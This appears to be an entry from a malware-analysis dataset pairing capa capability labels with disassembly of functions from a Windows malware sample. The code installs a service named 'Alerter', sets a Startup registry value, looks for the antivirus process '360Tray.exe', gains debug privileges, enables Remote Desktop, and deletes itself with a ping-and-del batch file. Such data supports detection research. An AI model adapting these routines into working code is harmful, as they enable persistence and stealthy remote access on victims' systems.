joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x40c916
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xad4
mov eax, dword [esp + 0xae4]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
push 0x81
mov dword [esp + 0x30], ebp
call sub.MFC42.DLL_CDialog::CDialog
lea edx, [ebp + 0x60]
xor ebx, ebx
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0x104
mov dword [ebp], 0x40d9d0
push edx
rep stosd dword es:[edi], eax
push ebx
mov dword [esp + 0xaf8], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp + 0x164]
mov byte [esp + 0x18], 0x33
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [ebp + 0x268]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov al, 0x65
push ecx
mov dword [ebp + 0x36c], ebx
mov byte [esp + 0x1d], 0x36
mov byte [esp + 0x1e], 0x30
mov byte [esp + 0x1f], 0x54
mov byte [esp + 0x20], 0x72
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x79
mov byte [esp + 0x23], 0x2e
mov byte [esp + 0x24], al
mov byte [esp + 0x25], 0x78
mov byte [esp + 0x26], al
mov byte [esp + 0x27], bl
call fcn.00405df0
add esp, 4
lea ecx, [esp + 0x24]
mov dword [0x4236dc], eax
call fcn.004028f0
mov ecx, 0x2ae
xor eax, eax
lea edi, [esp + 0x2c]
mov byte [esp + 0x10], 0x33
rep stosd dword es:[edi], eax
lea edi, [esp + 0x10]
or ecx, 0xffffffff
mov byte [esp + 0x11], 0x34
mov byte [esp + 0x12], 0x32
mov byte [esp + 0x13], 0x31
mov byte [esp + 0x14], bl
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
lea edx, [esp + 0x14]
push ecx
push edx
push 0xab8
lea eax, [esp + 0x3c]
push 0x412d40
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0xb04], 1
call fcn.00402930
mov ecx, 0x2ae
lea esi, [esp + 0x2c]
mov edi, 0x412d40
rep movsd dword es:[edi], dword [esi]
cmp dword [esp + 0xa78], ebx
je 0x403be1
call fcn.004048e0
mov ecx, ebp
call fcn.004040d0
mov ecx, ebp
call fcn.00404290
lea ecx, [esp + 0x24]
mov byte [esp + 0xaec], bl
call fcn.00402920
mov ecx, dword [esp + 0xae4]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xae0
ret 4
Function at 0x403e50
Capabilities:
Create service
Persist via windows service

Disassembly:
sub esp, 0x104
push esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x403e76
pop esi
add esp, 0x104
ret 8
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x110]
lea ecx, [esp + 8]
lea eax, [edi + 0x268]
push eax
push str.__s_
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [esp + 8]
push 0
push 0
push 0
push 0
push 0
push edx
push 0
push 2
push 0x10
push 0xf01ff
push str.Alerter
push 0x412728
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ecx, edi
mov dword [edi + 0x36c], eax
call fcn.00403c40
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret 8

Function at 0x403fe0
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x403feb
ret 8
lea ecx, [esp + 4]
push ecx
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x404049
mov edx, dword [esp + 4]
push str.Startup
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x404019
xor eax, eax
ret 8
mov edx, dword [esp + 8]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x18]
push str.Startup
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
je 0x404049
xor eax, eax
ret 8
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
ret 8
Function at 0x4040d0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x413574]
push ebx
push ebp
push esi
sub eax, 0
push edi
mov ebp, ecx
je 0x404114
dec eax
je 0x404101
dec eax
je 0x4040ee
push 0
call dword [sym.imp.MSVCRT.dll_exit]
lea ebx, [ebp + 0x164]
push ebx
push 3
call fcn.004072d0
add esp, 8
jmp 0x40414f
lea ebx, [ebp + 0x164]
push ebx
push 2
call fcn.004072d0
add esp, 8
jmp 0x40414f
lea ebx, [ebp + 0x164]
push ebx
push 1
call fcn.004072d0
mov edi, str.Program_Files
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x413578
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4041b0
mov edi, 0x413874
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x413578
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x41367c
push ebx
add ebp, 0x268
push str._s_s
push ebp
call dword [sym.imp.MSVCRT.dll_sprintf]
mov eax, dword [0x41356c]
add esp, 0x10
test eax, eax
jne 0x404241
mov edi, 0x412f50
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x412728
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x413054
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.Alerter
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41325c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x412a34
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x404430
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Set file attributes
Start service
Terminate process

Disassembly:
mov eax, dword [0x4236dc]
push esi
test eax, eax
push edi
mov esi, ecx
jne 0x40444e
mov eax, dword [0x413568]
test eax, eax
jne 0x40444e
push 0
push esi
call fcn.00403e50
push 0
lea eax, [esi + 0x164]
push 0
push eax
push 0x404060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esi + 0x268]
lea ecx, [esi + 0x60]
push edi
push ecx
call fcn.004043c0
mov eax, dword [0x413790]
add esp, 8
test eax, eax
je 0x40449e
push edi
mov ecx, esi
call fcn.00404780
mov edx, dword [0x413780]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, esi
call fcn.004045e0
mov eax, dword [0x4236dc]
test eax, eax
je 0x4044d4
mov ecx, esi
call fcn.00404360
push edi
call fcn.00404870
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [esi + 0x36c]
test eax, eax
je 0x404509
push 0x413920
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x404509
push edi
push 0xc8
call dword [sym.imp.MSVCRT.dll_fputc]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
mov eax, dword [0x413568]
test eax, eax
jne 0x404530
mov eax, dword [esi + 0x36c]
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, dword [esi + 0x36c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x404540
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x190
push 0x412e4c
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x4236e4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40456f
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push 0
push 0
push 0
push 0x404680
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
push 0
push 0
push 0
push 0x407710
push 0
push 0
call esi
push eax
call edi
push 0
push 0
push 0
push 0x407460
push 0
push 0
call esi
push eax
call edi
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
pop edi
pop esi
push 0
call fcn.004049a0
call fcn.004048e0
jmp 0x4045cb
Function at 0x4045e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.SystemTemp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0xf], 0
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0xc]
and ecx, 3
push 0x413924
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x404671
add ebp, 0x60
push esi
push ebp
call dword [sym.imp.MSVCRT.dll_fputs]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
pop edi
pop esi
pop ebp
add esp, 0x104
ret

Function at 0x404780
Capabilities:
Check for time delay via gettickcount
Get file size

Disassembly:
sub esp, 0xc8
push ebp
push esi
push edi
mov edi, dword [esp + 0xd8]
push 0
push 0
push 3
push 0
push 1
push 8
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4047ca
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x1400000
pop ebx
ja 0x40485b
test edi, edi
je 0x40485b
push 0x413934
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x40485b
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
and eax, 0x7f
mov ecx, 0x31
mov dl, al
lea edi, [esp + 0xc]
mov dh, dl
mov eax, edx
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
xor edx, edx
mov ecx, 0xff
div ecx
mov eax, edx
shl eax, 6
add eax, edx
lea eax, [edx + eax*2]
shl eax, 3
je 0x404851
mov edi, dword [sym.imp.MSVCRT.dll_fputs]
mov esi, eax
lea ecx, [esp + 0xc]
push ebp
push ecx
call edi
add esp, 8
dec esi
jne 0x404843
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
add esp, 0xc8
ret 4

Function at 0x404870
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov edx, dword [esp + 0x5c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x4048d6
mov eax, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
pop esi
add esp, 0x54
ret
Function at 0x405a30
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov esi, eax
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x118]
add esi, eax
mov eax, dword [esp + 0x114]
push ecx
lea edx, [esp + 0x10]
push esi
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
pop esi
add esp, 0x104
ret
Function at 0x405d30
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x413888
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x405d52
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x405dce
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x405df0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x1c]
push eax
push esi
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x148]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x40]
push edi
push ecx
call ebx
test eax, eax
je 0x405e4d
lea edx, [esp + 0x1c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x405e51
lea eax, [esp + 0x40]
push edi
push eax
call ebx
test eax, eax
jne 0x405e32
mov ebp, dword [esp + 0x24]
lea ecx, [esp + 0x10]
push str.N.O.D.3.2
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x134
ret

Function at 0x405f60
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push str.fDenyTSConnections
push edx
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0x4071e0
Capabilities:
Create process on windows
Set file attributes

Disassembly:
sub esp, 0x608
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10c]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 8]
push 0x413bec
push edx
stosb byte es:[edi], al
call fcn.00405a30
lea eax, [esp + 0x10]
push 0x413924
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x221]
mov byte [esp + 0x220], 0
lea edx, [esp + 0x220]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x11c]
stosw word es:[edi], ax
push ecx
push str.ping_127.0.0.1_ndel___s__ndel__0
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x22c]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_fputs]
add esp, 0x24
test esi, esi
je 0x4072b7
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea ecx, [esp + 8]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
xor eax, eax
pop esi
add esp, 0x608
ret
Function at 0x4072d0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
xor bl, bl
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0x104
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
push str.windir
call esi
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 1
jbe case.default.0x407330
mov ecx, dword [esp + 0x114]
lea eax, [ecx - 1]
cmp eax, 3
ja case.default.0x407330
jmp dword [eax*4 + 0x40744c]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xe], bl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x118]
mov edx, ecx
jmp 0x407423
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._system32
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
lea ecx, [esp + 0xc]
push 0x104
push ecx
push str.TEMP
call esi
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x118]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x407c90
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x414
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x30
call esi
add esp, 4
lea eax, [esp + 0x10]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0x30
call esi
push 0x30
mov dword [esp + 0x1c], 1
call esi
add esp, 8
lea ecx, [esp + 0x18]
xor edi, edi
push ecx
push str.SeDebugPrivilege
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0x30
call esi
push 0x30
mov dword [esp + 0x28], 2
call esi
mov eax, dword [esp + 0x18]
add esp, 8
lea edx, [esp + 0x14]
push edi
push edi
push 0x10
push edx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x30
call esi
add esp, 4
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
mov dword [esp + 0xc], esi
jne 0x407d39
mov eax, dword [esp + 0x424]
mov dword [eax + 4], edi
pop edi
mov dword [eax], 0x25000004
pop esi
add esp, 0x414
ret
lea ecx, [esp + 0xd0]
mov dword [esp + 0xd0], 0x128
push ecx
push esi
mov dword [esp + 0x200], 0x224
mov dword [esp + 0x10], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x407e4b
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_strncpy]
push ebp
mov ebp, dword [esp + 0x428]
mov edx, dword [esp + 0xe0]
push edx
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x200]
push eax
push esi
call sub.KERNEL32.dll_Module32First
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0xe0]
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, eax
mov ecx, 0x2b
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xec]
push edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [esp + 0x34], eax
lea edx, [esp + 0xfc]
push 0x20
lea eax, [esp + 0x3c]
push edx
push eax
call ebx
lea ecx, [esp + 0x32c]
push 0x80
lea edx, [esp + 0x68]
push ecx
push edx
call ebx
mov eax, dword [esp + 0x28]
mov ecx, 0x2b
lea esi, [esp + 0x44]
mov edi, ebp
add eax, 0xac
add esp, 0x18
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x10], eax
lea eax, [esp + 0xd8]
add ebp, 0xac
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x407d78
mov esi, dword [esp + 0x14]
pop ebp
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x424]
mov edx, dword [esp + 8]
pop edi
pop esi
mov dword [eax], 0
mov dword [eax + 4], edx
add esp, 0x414
ret
Function at 0x407e70
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov eax, dword [esi + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x407e99
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x407eb2
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
mov dword [esi + 4], 0
pop edi
pop esi
ret

Function at 0x408070
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.004080e0
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0xc]
shr ecx, 2
test eax, eax
jne 0x4080a1
test ecx, ecx
jle 0x4080d6
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edx, dword [edx + eax*4]
mov dword [edi + eax*4], edx
inc eax
cmp eax, ecx
jl 0x40808b
pop edi
pop esi
ret 4
jbe 0x4080d6
xor eax, eax
test ecx, ecx
jle 0x4080d6
push ebx
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edi, dword [edi + eax*4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
xor ebx, edi
mov dword [edx], ebx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
mov edi, dword [edi + eax*4]
xor ebx, edi
inc eax
cmp eax, ecx
mov dword [edx], ebx
jl 0x4080aa
pop ebx
pop edi
pop esi
ret 4